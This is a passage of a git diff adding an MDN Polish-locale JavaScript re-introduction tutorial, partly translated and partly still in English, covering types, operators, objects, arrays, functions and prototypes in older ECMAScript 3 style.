Dodając TogetherJS do swojej witryny, można wpomóc współpracę, poprzez wzajemną komunikację uzytkowników w czasie rzeczywistym.</dd> + <dt><a href="https://stackoverflow.com/questions/tagged/javascript">Stack Overflow</a></dt> + <dd>Zapytania oznaczone tagiem "JavaScript" na platformie Stack Overflow.</dd> + <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript">Wersje JavaScript i uwagi do wydań</a></dt> + <dd>Przeglądaj historię wydań JavaScript i stan implementacji.</dd> + <dt><a href="https://jsfiddle.net/">JSFiddle</a></dt> + <dd>Edytowanie JavaScript, CSS i HTML z natychmiastowym podglądem wyników. Pozwala na używanie zasobów zewnętrznych i pracę zespołową.</dd> + <dt><a href="/pl/docs/Web/JavaScript/JavaScript_templates">Szablony JavaScript</a></dt> + <dd>Na tej stronie omawia sie najpopularniejsze systemy szablonowania stosowane w JavaScript.</dd> + <dt><a href="https://plnkr.co/">Plunker</a></dt> + <dd>Plunker to internetowa społeczność, która współpacuje, tworzy i dzieli się pomysłami na tworzenie stron internetowych. Edytuj w przegladarce swoje pliki JavaScript, CSS i HTML i ogladaj na żywo wyniki swojej pracy i strukturę plików.</dd> +</dl> +</div> +</div> diff --git a/files/pl/web/javascript/na_początek/index.html b/files/pl/web/javascript/na_początek/index.html new file mode 100644 index 0000000000..44f95f6c62 --- /dev/null +++ b/files/pl/web/javascript/na_początek/index.html @@ -0,0 +1,903 @@ +--- +title: Na początek +slug: Web/JavaScript/Na_początek +tags: + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +--- +<div class="note"><strong>UWAGA, UWAGA!</strong>: Pomimo tego, że artykuł jest wywieszony jako artykuł do dopracowania, to mimo to, PROSZĘ go na razie <strong>NIE TŁUMACZYĆ</strong>. Powodem jest to, że tekst w sporej mierze jest już przetłumaczony. Więc po prostu szkoda zapału i zużywania energii na coś co już jest w wersji PL. W ramach tego samego czasu możecie przetłumaczyć coś, czego nie ma na 100% w dopracowanych. <a href="pl/Wikipedysta/Ptak82">Ptak82</a> 17:18, 13 mar 2007 (PDT)</div> + +<h3 id="Wprowadzenie" name="Wprowadzenie">Wprowadzenie</h3> + +<p>Dlaczego ponowne wprowadzenie? Bo <a href="pl/JavaScript">JavaScript</a> można śmiało określić jako <a class="external" href="http://javascript.crockford.com/javascript.html">najbardziej błędnie rozumiany język programowania (en)</a>. Często wyszydzany, nazywany zabawką, pod swoją kuszącą prostotą chowa on szerokie możliwości. W roku 2005 pojawił się szereg wysokiej jakości aplikacji w JavaScripcie, dowodzących, że pogłębiona znajomość tej technologii to to, czym powinien móc się pochwalić każdy twórca serwisów internetowych.</p> + +<p>Wygodnie będzie zacząć od kilku słów na temat historii języka. JavaScript stowrzył w roku 1995 Brendan Eich, programista firmy Netscape. Pierwszą przeglądarką z obsługą JavaScriptu była Netscape 2, wydana na początku 1996 r. Pierwotnie język ten miał się nazywać LiveScript, ale nazwę nieszczęśliwie zmieniono z przyczyn marketingowych - chciano skorzystać z popularności Javy, języka firmy Sun Microsystems, mimo że oba te języki niewiele ze sobą łączy. Nazwa "JavaScript" do dziś jest przyczyną wielu nieporozumień.</p> + +<p>Microsoft wydał prawie kompatybilną wersję tego języka pod nazwą JScript razem z przeglądarką Internet Explorer 3 kilka miesięcy później. Firma Netscape zgłosiła język do europejskiej organizacji standaryzacyjnej <a class="external" href="http://www.ecma-international.org/">Ecma International</a>, skutkiem czego było pierwsze wydanie standardu <a href="pl/ECMAScript">ECMAScript</a> w roku 1997. Specyfikację tę szeroko uzupełniono i rozbudowano w roku 1999 i opublikowano jako <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript wydanie 3</a> i od tej pory język ten był w miarę stabilny, nie przechodził większych rewolucji, choć obecnie trwają prace nad wydaniem czwartym.</p> + +<p>Stabilność ta to dobra wiadomość dla programistów, jako że wszystkie implementacje miały wiele czasu, by w pełni dojść do w miarę zgodnego stanu. W tym artykule skupiam się wyłącznie na dialekcie z wydania trzeciego. Dla uproszczenia pozostanę w tym artykule przy terminie "JavaScript".</p> + +<p>W przeciwieństwie do większości języków, JavaScript nie posiada koncepcji wejścia/wyjścia. Zaprojektowany został jako język skryptowy dla maszyny wirtualnej i to ta maszyna wirtualna ma za zadanie zapewnić mechanizmy komunikacji ze światem zewnętrznym. Najbardziej popularną maszyną wirtualną jest przeglądarka, ale interpretery JavaScriptu można znaleźć np. w programach Adobe Acrobat, Photoshop, silniku Yahoo! Widget i innych.</p> + +<h3 id="Przegl.C4.85d" name="Przegl.C4.85d">Przegląd</h3> + +<p>Zacznijmy od fundamentów każdego języka programowania: typów danych. Programy w JavaScripcie manipulują wartościami, z których każda należy do konkretnego typu. Typy w JavaScripcie to:</p> + +<ul> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Number">Number</a> - liczby</li> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String">String</a> - ciągi znaków (teksty)</li> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Boolean">Boolean</a> - wartości logiczne</li> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">Function</a> - funkcje</li> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Object">Object</a> - obiekty</li> +</ul> + +<p>a także Undefined (wartość niezdefiniowana) i Null, które można uważać za nieco dziwne. Ponadto mamy do dyspozycji tablice - <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array">Array</a> - które są szczególnym rodzajem obiektu. Oprócz tego daty - <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date">Date</a> i <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/RegExp">wyrażenia regularne</a>, które także są obiektami. Gwoli ścisłości, funkcje także są szczególnymi obiektami.</p> + +<p>Diagram typów wygląda zatem następująco:</p> + +<ul> + <li>Number</li> + <li>String</li> + <li>Boolean</li> + <li>Object + <ul> + <li>Function</li> + <li>Array</li> + <li>Date</li> + <li>RegExp</li> + </ul> + </li> + <li>Null</li> + <li>Undefined</li> +</ul> + +<p>Istnieją także podtypy typu <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Error">Error</a>, ale pomińmy je, żeby za bardzo nie mieszać i pozostańmy przy pierwszym diagramie.</p> + +<h3 id="Liczby" name="Liczby">Liczby</h3> + +<p>Zgodnie ze specyfikacją, liczby w JavaScripcie są "64-bitowymi wartościami podwójnej precyzji w formacie IEEE 754". Ma to ciekawe skutki. Na przykład, w JavaScripcie nie ma czegoś takiego jak liczba całkowita, dlatego trzeba zachować nieco ostrożności przy operacjach arytmetycznych, zwłaszcza jeśli przyzwyczajeni jesteśmy do C lub Javy. Należy uważać na takie sytuacje:</p> + +<pre class="eval">0.1 + 0.2 = 0.30000000000000004 +</pre> + +<p>Dostępne są standardowe <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_arytmetyczne">operatory arytmetyczne</a>, w tym oczywiście dodawanie, odejmowanie, modulo (reszta z dzielenia) itd. Jest także specjalny obiekt <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Math">Math</a> pozwalający na stosowanie bardziej zaawansowanych funkcji i stałych matematycznych:</p> + +<pre class="eval">Math.sin(3.5); +d = Math.PI * r * r; +</pre> + +<p>Ciąg znaków można skonwertować do liczby korzystając z wbudowanej funkcji <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/parseInt">parseInt()</a></code>. Funkcja ta może posiadać dodatkowy, drugi argument, który określa podstawę systemu dla tej konwersji. Ten argument warto jednak zawsze podawać:</p> + +<pre class="eval">> parseInt("123", 10) +123 +> parseInt("010", 10) +10 +</pre> + +<p>...żeby nie dostać nieoczekiwanych wyników:</p> + +<pre class="eval">> parseInt("010") +8 +</pre> + +<p>Taki wynik otrzymaliśmy dlatego, że funkcja <code>parseInt</code> uznała liczbę w naszym ciągu znaków za ósemkową, bo rozpoczęliśmy ją od znaku "0".</p> + +<p>Jeśli chcesz skonwertować liczbę binarną do dziesiętnej, wystarczy zmienić podstawę:</p> + +<pre class="eval">> parseInt("11", 2) +3 +</pre> + +<p>Funkcja zwraca specjalną wartość <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/W%c5%82asno%c5%9bci/NaN">NaN</a></code> (skrót ang. "Not a Number" - "To nie jest liczba"), jeśli dany ciąg znaków nie jest liczbą:</p> + +<pre class="eval">> parseInt("witaj", 10) +NaN +</pre> + +<p><code>NaN</code> jest toksyczna: wprowadzenie jej do jakiejkolwiek operacji matematycznej spowoduje, że jej wynikiem również będzie <code>NaN</code>:</p> + +<pre class="eval">> NaN + 5 +NaN +</pre> + +<p>Aby sprawdzić, czy dana wartość jest <code>NaN</code>, można użyć wbudowanej funkcji <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/isNaN">isNaN()</a></code>:</p> + +<pre class="eval">> isNaN(NaN) +true +</pre> + +<p>(NaN nie jest bowiem równe nawet samo sobie, <code>NaN!=NaN</code> - przyp. tłum.)</p> + +<p>W JavaScripcie istnieją także specjalne wartości reprezentujące plus i minus nieskończoność: <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/W%c5%82asno%c5%9bci/Infinity">Infinity</a></code> and <code>-Infinity</code>:</p> + +<pre class="eval">> 1 / 0 +Infinity +> -1 / 0 +-Infinity +</pre> + +<h3 id="Ci.C4.85gi_znak.C3.B3w" name="Ci.C4.85gi_znak.C3.B3w">Ciągi znaków</h3> + +<p>Teksty w JavaScripcie to sekwencje znaków. Dokładniej rzecz biorąc, są to sekwencje <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Unicode">znaków Unicode</a>, w których każdy znak reprezentowany jest przez liczbę 16-bitową. To dobra wiadomość dla wszystkich osób zajmujących się internacjonalizacją.</p> + +<p>Jeśli zajdzie potrzeba reprezentowania pojedynczego znaku, stosuje się po prostu ciąg o długości równej 1.</p> + +<p>Aby odnaleźć długość ciągu, należy skorzystać z jego własności <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/length">length</a></code>:</p> + +<pre class="eval">> "witaj".length +5 +</pre> + +<p>To nasze pierwsze spotkanie z obiektami JavaScriptu! Czy wspomniałem, że ciągi są też obiektami? Naturalnie, mają też <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String#Metody">metody</a>:</p> + +<pre class="eval">> "witaj".charAt(0) +w +> "witaj, świecie".replace("witaj", "do zobaczenia") +do zobaczenia, świecie +> "witaj".toUpperCase() +WITAJ +</pre> + +<h3 id="Other_types" name="Other_types">Other types</h3> + +<p>JavaScript distinguishes between <code>null</code>, which is an object of type 'object' that indicates a deliberate non-value, and <code>undefined</code>, which is an object of type 'undefined' that indicates an uninitialized value — that is, a value hasn't even been assigned yet. We'll talk about variables later, but in JavaScript it is possible to declare a variable without assigning a value to it. If you do this, the variable's type is <code>undefined</code>.</p> + +<p>JavaScript has a boolean type, with possible values <code>true</code> and <code>false</code> (both of which are keywords). Any value can be converted to a boolean according to the following rules:</p> + +<ol> + <li><code>false</code>, <code>0</code>, the empty string (<code>""</code>), <code>NaN</code>, <code>null</code>, and <code>undefined</code> all become <code>false</code></li> + <li>all other values become <code>true</code></li> +</ol> + +<p>You can perform this conversion explicitly using the <code>Boolean()</code> function:</p> + +<pre class="eval">> Boolean("") +false +> Boolean(234) +true +</pre> + +<p>However, this is rarely necessary, as JavaScript will silently perform this conversion when it expects a boolean, such as in an <code>if</code> statement (see below). For this reason, we sometimes speak simply of "true values" and "false values," meaning values that become <code>true</code> and <code>false</code>, respectively, when converted to booleans. Alternatively, such values can be called "truthy" and "falsy," respectively.</p> + +<p>Boolean operations such as <code>&&</code> (logical<em>and</em>), <code>||</code> (logical<em>or</em>), and <code>!</code> (logical<em>not</em>) are supported; see below.</p> + +<h3 id="Variables" name="Variables">Variables</h3> + +<p>New variables in JavaScript are declared using the <code><a href="pl/Core_JavaScript_1.5_Reference/Statements/var">var</a></code> keyword:</p> + +<pre class="eval">var a; +var name = "simon"; +</pre> + +<p>If you declare a variable without assigning any value to it, its type is <code>undefined</code>. <span class="comment">should note the absence of block-scoping in JS</span></p> + +<h3 id="Operators" name="Operators">Operators</h3> + +<p>JavaScript's numeric operators are <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code> and <code>%</code> - which is the remainder operator. Values are assigned using <code>=</code>, and there are also compound assignment statements such as <code>+=</code> and <code>-=</code>. These extend out to <code>x = x<em>operator</em> y</code>.</p> + +<pre class="eval">x += 5 +x = x + 5 +</pre> + +<p>You can use <code>++</code> and <code>--</code> to increment and decrement respectively. These can be used as prefix or postfix operators.</p> + +<p>The <a href="pl/Core_JavaScript_1.5_Reference/Operators/String_Operators"><code>+</code> operator</a> also does string concatenation:</p> + +<pre class="eval">> "hello" + " world" +hello world +</pre> + +<p>If you add a string to a number (or other value) everything is converted in to a string first. This might catch you out:</p> + +<pre class="eval">> "3" + 4 + 5 +345 +> 3 + 4 + "5" +75 +</pre> + +<p>Adding an empty string to something is a useful way of converting it.</p> + +<p><a href="pl/Core_JavaScript_1.5_Reference/Operators/Comparison_Operators">Comparisons</a> in JavaScript can be made using <code><</code>, <code>></code>, <code><=</code> and <code>>=</code>. These work for both strings and numbers. Equality is a little less straightforward. The double-equals operator performs type coercion if you give it different types, with sometimes interesting results:</p> + +<pre class="eval">> "dog" == "dog" +true +> 1 == true +true +</pre> + +<p>To avoid type coercion, use the triple-equals operator:</p> + +<pre class="eval">> 1 === true +false +> true === true +true +</pre> + +<p>There are also <code>!=</code> and <code>!==</code> operators.</p> + +<p>JavaScript also has <a href="pl/Core_JavaScript_1.5_Reference/Operators/Bitwise_Operators">bitwise operations</a>. If you want to use them, they're there.</p> + +<h3 id="Control_structures" name="Control_structures">Control structures</h3> + +<p>JavaScript has a similar set of control structures to other languages in the C family. Conditional statements are supported by <code>if</code> and <code>else</code>; you can chain them together if you like:</p> + +<pre class="eval">var name = "kittens"; +if (name == "puppies") { + name += "!"; +} else if (name == "kittens") { + name += "!!"; +} else { + name = "!" + name; +} +name == "kittens!!" +</pre> + +<p>JavaScript has <code>while</code> loops and <code>do-while</code> loops. The first is good for basic looping; the second for loops where you wish to ensure that the body of the loop is executed at least once:</p> + +<pre class="eval">while (true) { + // an infinite loop! +} + +do { + var input = get_input(); +} while (inputIsNotValid(input)) +</pre> + +<p>JavaScript's <code>for</code> loop is the same as that in C and Java: it lets you provide the control information for your loop on a single line.</p> + +<pre class="eval">for (var i = 0; i < 5; i++) { + // Will execute 5 times +} +</pre> + +<p>The <code>&&</code> and <code>||</code> operators use short-circuit logic, which means whether they will execute their second operand is dependent on the first. This is useful for checking for null objects before accessing their attributes:</p> + +<pre class="eval">var name = o && o.getName(); +</pre> + +<p>Or for setting default values:</p> + +<pre class="eval">var name = otherName || "default"; +</pre> + +<p>JavaScript has a tertiary operator for one-line conditional statements:</p> + +<pre class="eval">var allowed = (age > 18) ? "yes" : "no"; +</pre> + +<p>The switch statement can be used for multiple branches based on a number or string:</p> + +<pre class="eval">switch(action) { + case 'draw': + drawit(); + break; + case 'eat': + eatit(); + break; + default: + donothing(); +} +</pre> + +<p>If you don't add a <code>break</code> statement, execution will "fall through" to the next level. This is very rarely what you want - in fact it's worth specifically labelling deliberate fallthrough with a comment if you really meant it to aid debugging:</p> + +<pre class="eval">switch(a) { + case 1: // fallthrough + case 2: + eatit(); + break; + default: + donothing(); +} +</pre> + +<p>The default clause is optional. You can have expressions in both the switch part and the cases if you like; comparisons take place between the two using the <code>===</code> operator:</p> + +<pre class="eval">switch(1 + 3): + case 2 + 2: + yay(); + break; + default: + neverhappens(); +} +</pre> + +<h3 id="Objects" name="Objects">Objects</h3> + +<p>JavaScript objects are simply collections of name-value pairs. As such, they are similar to:</p> + +<ul> + <li>Dictionaries in Python</li> + <li>Hashes in Perl and Ruby</li> + <li>Hash tables in C and C++</li> + <li>HashMaps in Java</li> + <li>Associative arrays in PHP</li> +</ul> + +<p>The fact that this data structure is so widely used is a testament to its versatility. Since everything (bar core types) in JavaScript is an object, any JavaScript program naturally involves a great deal of hash table lookups. It's a good thing they're so fast!</p> + +<p>The "name" part is a JavaScript string, while the value can be any JavaScript value - including more objects. This allows you to build data structures of arbitrary complexity.</p> + +<p>There are two basic ways to create an empty object:</p> + +<pre class="eval">var obj = new Object(); +</pre> + +<p>And:</p> + +<pre class="eval">var obj = {}; +</pre> + +<p>These are semantically equivalent; the second is called object literal syntax, and is more convenient. Object literal syntax was not present in very early versions of the language which is why you see so much code using the old method.</p> + +<p>Once created, an object's properties can again be accessed in one of two ways:</p> + +<pre class="eval">obj.name = "Simon" +var name = obj.name; +</pre> + +<p>And...</p> + +<pre class="eval">obj["name"] = "Simon"; +var name = obj["name"]; +</pre> + +<p>These are also semantically equivalent. The second method has the advantage that the name of the property is provided as a string, which means it can be calculated at run-time. It can also be used to set and get properties with names that are <a href="pl/Core_JavaScript_1.5_Reference/Reserved_Words">reserved words</a>:</p> + +<pre class="eval">obj.for = "Simon"; // Syntax error, because 'for' is a reserved word +obj["for"] = "Simon"; // works fine +</pre> + +<p>Object literal syntax can be used to initialise an object in its entirety:</p> + +<pre class="eval">var obj = { + name: "Carrot", + "for": "Max", + details: { + color: "orange", + size: 12 + } +} +</pre> + +<p>Attribute access can be chained together:</p> + +<pre class="eval">> obj.details.color +orange +> obj["details"]["size"] +12 +</pre> + +<h3 id="Arrays" name="Arrays">Arrays</h3> + +<p>Arrays in JavaScript are actually a special type of object. They work very much like regular objects (numerical properties can naturally be accessed only using [] syntax) but they have one magic property called '<code>length</code>'. This is always one more than the highest index in the array.</p> + +<p>The old way of creating arrays is as follows:</p> + +<pre class="eval">> var a = new Array(); +> a[0] = "dog"; +> a[1] = "cat"; +> a[2] = "hen"; +> a.length +3 +</pre> + +<p>A more convenient notation is to use an array literal:</p> + +<pre class="eval">> var a = ["dog", "cat", "hen"]; +> a.length +3 +</pre> + +<p>Leaving a trailing comma at the end of an array literal is inconsistent across browsers, so don't do it.</p> + +<p>Note that <code>array.length</code> isn't necessarily the number of items in the array. Consider the following:</p> + +<pre class="eval">> var a = ["dog", "cat", "hen"]; +> a[100] = "fox"; +> a.length +101 +</pre> + +<p>Remember - the length of the array is one more than the highest index.</p> + +<p>If you query a non-existent array index, you get <code>undefined</code>:</p> + +<pre class="eval">> typeof(a[90]) +undefined +</pre> + +<p>If you take the above into account, you can iterate over an array using the following:</p> + +<pre class="eval">for (var i = 0; i < a.length; i++) { + // Do something with a[i] +} +</pre> + +<p>This is slightly inefficient as you are looking up the length property once every loop. An improvement is this:</p> + +<pre class="eval">for (var i = 0, len = a.length; i < len; i++) { + // Do something with a[i] +} +</pre> + +<p>An even nicer idiom is:</p> + +<pre class="eval">for (var i = 0, item; item = a[i]; i++) { + // Do something with item +} +</pre> + +<p>Here we are setting up two variables. The assignment in the middle part of the <code>for</code> loop is also tested for truthfulness - if it succeeds, the loop continues. Since <code>i</code> is incremented each time, items from the array will be assigned to item in sequential order. The loop stops when a "falsy" item is found (such as <code>undefined</code>).</p> + +<p>Note that this trick should only be used for arrays which you know do not contain "falsy" values (arrays of objects or <a href="pl/DOM">DOM</a> nodes for example). If you are iterating over numeric data that might include a 0 or string data that might include the empty string you should use the <code>i, j</code> idiom instead.</p> + +<p>Another way to iterate is to use the <code><a href="pl/Core_JavaScript_1.5_Reference/Statements/for...in">for...in</a></code> loop. Note that if someone added new properties to <code>Array.prototype</code>, they will also be iterated over by this loop:</p> + +<pre class="eval">for (var i in a) { + // Do something with a[i] +} +</pre> + +<p>If you want to append an item to an array, the safest way to do it is like this:</p> + +<pre class="eval">a[a.length] = item; // same as a.push(item); +</pre> + +<p>Since <code>a.length</code> is one more than the highest index, you can be assured that you are assigning to an empty position at the end of the array.</p> + +<p>Arrays come with a number of methods:</p> + +<pre class="eval">a.toString(), a.toLocaleString(), a.concat(item, ..), a.join(sep), +a.pop(), a.push(item, ..), a.reverse(), a.shift(), a.slice(start, end), +a.sort(cmpfn), a.splice(start, delcount, [item]..), a.unshift([item]..) +</pre> + +<ul> + <li><code>concat</code> returns a new array with the items added on to it.</li> + <li><code>pop</code> removes and returns the last item</li> + <li><code>push</code> adds one or more items to the end (like our <code>ar{{ mediawiki.external('ar.length') }}</code> idiom)</li> + <li><code>slice</code> returns a sub-array</li> + <li><code>sort</code> takes an optional comparison function</li> + <li><code>splice</code> lets you modify an array by deleting a section and replacing it with more items</li> + <li><code>unshift</code> prepends items to the start of the array</li> +</ul> + +<h3 id="Functions" name="Functions">Functions</h3> + +<p>Along with objects, functions are the core component in understanding JavaScript. The most basic function couldn't be much simpler:</p> + +<pre class="eval">function add(x, y) { + var total = x + y; + return total; +} +</pre> + +<p>This demonstrates everything there is to know about basic functions. A JavaScript function can take 0 or more named parameters. The function body can contain as many statements as you like, and can declare its own variables which are local to that function. The <code>return</code> statement can be used to return a value at any time, terminating the function. If no return statement is used (or an empty return with no value), JavaScript returns <code>undefined</code>.</p> + +<p>The named parameters turn out to be more like guidelines than anything else. You can call a function without passing the parameters it expects, in which case they will be set to <code>undefined</code>.</p> + +<pre class="eval">> add() +NaN // You can't perform addition on undefined +</pre> + +<p>You can also pass in more arguments than the function is expecting:</p> + +<pre class="eval">> add(2, 3, 4) +5 // added the first two; 4 was ignored +</pre> + +<p>That may seem a little silly, but functions have access to an additional variable inside their body called <a href="pl/Core_JavaScript_1.5_Reference/Functions/arguments"><code>arguments</code></a>, which is an array-like object holding all of the values passed to the function. Let's re-write the add function to take as many values as we want:</p> + +<pre class="eval">function add() { + var sum = 0; + for (var i = 0, j = arguments.length; i < j; i++) { + sum += arguments[i]; + } + return sum; +} + +> add(2, 3, 4, 5) +14 +</pre> + +<p>That's really not any more useful than writing <code>2 + 3 + 4 + 5</code> though. Let's create an averaging function:</p> + +<pre class="eval">function avg() { + var sum = 0; + for (var i = 0, j = arguments.length; i < j; i++) { + sum += arguments[i]; + } + return sum / arguments.length; +} +> avg(2, 3, 4, 5) +3.5 +</pre> + +<p>This is pretty useful, but introduces a new problem. The <code>avg()</code> function takes a comma separated list of arguments - but what if you want to find the average of an array? You could just rewrite the function as follows:</p> + +<pre class="eval">function avgArray(arr) { + var sum = 0; + for (var i = 0, j = arr.length; i < j; i++) { + sum += arr[i]; + } + return sum / arr.length; +} +> avgArray([2, 3, 4, 5]) +3.5 +</pre> + +<p>But it would be nice to be able to reuse the function that we've already created. Luckily, JavaScript lets you call a function and call it with an arbitrary array of arguments, using the <a href="pl/Core_JavaScript_1.5_Reference/Global_Objects/Function/apply"><code>apply()</code></a> method of any function object.</p> + +<pre class="eval">> avg.apply(null, [2, 3, 4, 5]) +3.5 +</pre> + +<p>The second argument to <code>apply()</code> is the array to use as arguments; the first will be discussed later on. This emphasizes the fact that functions are objects too.</p> + +<p>JavaScript lets you create anonymous functions.</p> + +<pre class="eval">var avg = function() { + var sum = 0; + for (var i = 0, j = arguments.length; i < j; i++) { + sum += arguments[i]; + } + return sum / arguments.length; +} +</pre> + +<p>This is semantically equivalent to the <code>function avg()</code> form. It's extremely powerful, as it lets you put a full function definition anywhere that you would normally put an expression. This enables all sorts of clever tricks. Here's a way of "hiding" some local variables - like block scope in C:</p> + +<pre class="eval">> var a = 1; +> var b = 2; +> (function() { + var b = 3; + a += b; +})(); +> a +4 +> b +2 +</pre> + +<p>JavaScript allows you to call functions recursively. This is particularly useful for dealing with tree structures, such as you get in the browser <a href="pl/DOM">DOM</a>.</p> + +<pre class="eval">function countChars(elm) { + if (elm.nodeType == 3) { // TEXT_NODE + return elm.nodeValue.length; + } + var count = 0; + for (var i = 0, child; child = elm.childNodes[i]; i++) { + count += countChars(child); + } + return count; +} +</pre> + +<p>This highlights a potential problem with anonymous functions: how do you call them recursively if they don't have a name? The answer lies with the <code>arguments</code> object, which in addition to acting as a list of arguments also provides a property called <code>arguments.callee</code>. This always refers to the current function, and hence can be used to make recursive calls:</p> + +<pre class="eval">var charsInBody = (function(elm) { + if (elm.nodeType == 3) { // TEXT_NODE + return elm.nodeValue.length; + } + var count = 0; + for (var i = 0, child; child = elm.childNodes[i]; i++) { + count += arguments.callee(child); + } + return count; +})(document.body); +</pre> + +<p>Since <code>arguments.callee</code> is the current function, and all functions are objects, you can use <code>arguments.callee</code> to save information across multiple calls to the same function. Here's a function that remembers how many times it has been called:</p> + +<pre class="eval">function counter() { + if (!arguments.callee.count) { + arguments.callee.count = 0; + } + return arguments.callee.count++; +} + +> counter() +0 +> counter() +1 +> counter() +2 +</pre> + +<h3 id="Custom_objects" name="Custom_objects">Custom objects</h3> + +<p>In classic Object Oriented Programming, objects are collections of data and methods that operate on that data. Let's consider a person object with first and last name fields. There are two ways in which their name might be displayed: as "first last" or as "last, first". Using the functions and objects that we've discussed previously, here's one way of doing it:</p> + +<pre class="eval">function makePerson(first, last) { + return { + first: first, + last: last + } +} +function personFullName(person) { + return person.first + ' ' + person.last; +} +function personFullNameReversed(person) { + return person.last + ', ' + person.first +} +> s = makePerson("Simon", "Willison"); +> personFullName(s) +Simon Willison +> personFullNameReversed(s) +Willison, Simon +</pre> + +<p>This works, but it's pretty ugly. You end up with dozens of functions in your global namespace. What we really need is a way to attach a function to an object. Since functions are objects, this is easy:</p> + +<pre class="eval">function makePerson(first, last) { + return { + first: first, + last: last, + fullName: function() { + return this.first + ' ' + this.last; + }, + fullNameReversed: function() { + return this.last + ', ' + this.first; + } + } +} +> s = makePerson("Simon", "Willison") +> s.fullName() +Simon Willison +> s.fullNameReversed() +Willison, Simon +</pre> + +<p>There's something here we haven't seen before: the '<code><a href="pl/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator">this</a></code>' keyword. Used inside a function, '<code>this</code>' refers to the current object. What that actually means is specified by the way in which you called that function. If you called it using <a href="pl/Core_JavaScript_1.5_Reference/Operators/Member_Operators">dot notation or bracket notation</a> on an object, that object becomes '<code>this</code>'. If dot notation wasn't used for the call, '<code>this</code>' refers to the global object. This is a frequent cause of mistakes. For example:</p> + +<pre class="eval">> s = makePerson("Simon", "Willison") +> var fullName = s.fullName; +> fullName() +undefined undefined +</pre> + +<p>When we call <code>fullName()</code>, '<code>this</code>' is bound to the global object. Since there are no global variables called <code>first</code> or <code>last</code> we get <code>undefined</code> for each one.</p> + +<p>We can take advantage of the '<code>this</code>' keyword to improve our <code>makePerson</code> function:</p> + +<pre class="eval">function Person(first, last) { + this.first = first; + this.last = last; + this.fullName = function() { + return this.first + ' ' + this.last; + } + this.fullNameReversed = function() { + return this.last + ', ' + this.first; + } +} +var s = new Person("Simon", "Willison"); +</pre> + +<p>We've introduced another keyword: '<code><a href="pl/Core_JavaScript_1.5_Reference/Operators/Special_Operators/new_Operator">new</a></code>'. <code>new</code> is strongly related to '<code>this</code>'. What it does is it creates a brand new empty object, and then calls the function specified, with '<code>this</code>' set to that new object. Functions that are designed to be called by '<code>new</code>' are called constructor functions. Common practise is to capitalise these functions as a reminder to call them with <code>new</code>.</p> + +<p>Our person objects are getting better, but there are still some ugly edges to them. Every time we create a person object we are creating two brand new function objects within it - wouldn't it be better if this code was shared?</p> + +<pre class="eval">function personFullName() { + return this.first + ' ' + this.last; +} +function personFullNameReversed() { + return this.last + ', ' + this.first; +} +function Person(first, last) { + this.first = first; + this.last = last; + this.fullName = personFullName; + this.fullNameReversed = personFullNameReversed; +} +</pre> + +<p>That's better: we are creating the method functions only once, and assigning references to them inside the constructor. Can we do any better than that? The answer is yes:</p> + +<pre class="eval">function Person(first, last) { + this.first = first; + this.last = last; +} +Person.prototype.fullName = function() { + return this.first + ' ' + this.last; +} +Person.prototype.fullNameReversed = function() { + return this.last + ', ' + this.first; +} +</pre> + +<p><code>Person.prototype</code> is an object shared by all instances of <code>Person</code>. It forms part of a lookup chain (that has a special name, "prototype chain"): any time you attempt to access a property of <code>Person</code> that isn't set, JavaScript will check <code>Person.prototype</code> to see if that property exists there instead. As a result, anything assigned to <code>Person.prototype</code> becomes available to all instances of that constructor via the <code>this</code> object.</p> + +<p>This is an incredibly powerful tool. JavaScript lets you modify something's prototype at any time in your program, which means you can add extra methods to existing objects at runtime:</p> + +<pre class="eval">> s = new Person("Simon", "Willison"); +> s.firstNameCaps(); +TypeError on line 1: s.firstNameCaps is not a function +> Person.prototype.firstNameCaps = function() { + return this.first.toUpperCase() +} +> s.firstNameCaps() +SIMON +</pre> + +<p>Interestingly, you can also add things to the prototype of built-in JavaScript objects. Let's add a method to <code>String</code> that returns that string in reverse:</p> + +<pre class="eval">> var s = "Simon"; +> s.reversed() +TypeError on line 1: s.reversed is not a function +> String.prototype.reversed = function() { + var r = ""; + for (var i = this.length - 1; i >= 0; i--) { + r += this[i]; + } + return r; +} +> s.reversed() +nomiS +</pre> + +<p>Our new method even works on string literals!</p> + +<pre class="eval">> "This can now be reversed".reversed() +desrever eb won nac sihT +</pre> + +<p>As I mentioned before, the prototype forms part of a chain. The root of that chain is <code>Object.prototype</code>, whose methods include <code>toString()</code> - it is this method that is called when you try to represent an object as a string. This is useful for debugging our <code>Person</code> objects:</p> + +<pre class="eval">> var s = new Person("Simon", "Willison"); +> s +[object Object] +> Person.prototype.toString = function() { + return '<Person: ' + this.fullName() + '>'; +} +> s +<Person: Simon Willison> +</pre> + +<p>Remember how <code>avg.apply()</code> had a null first argument? We can revisit that now. The first argument to <code>apply()</code> is the object that should be treated as '<code>this</code>'. For example, here's a trivial implementation of '<code>new</code>':</p> + +<pre class="eval">function 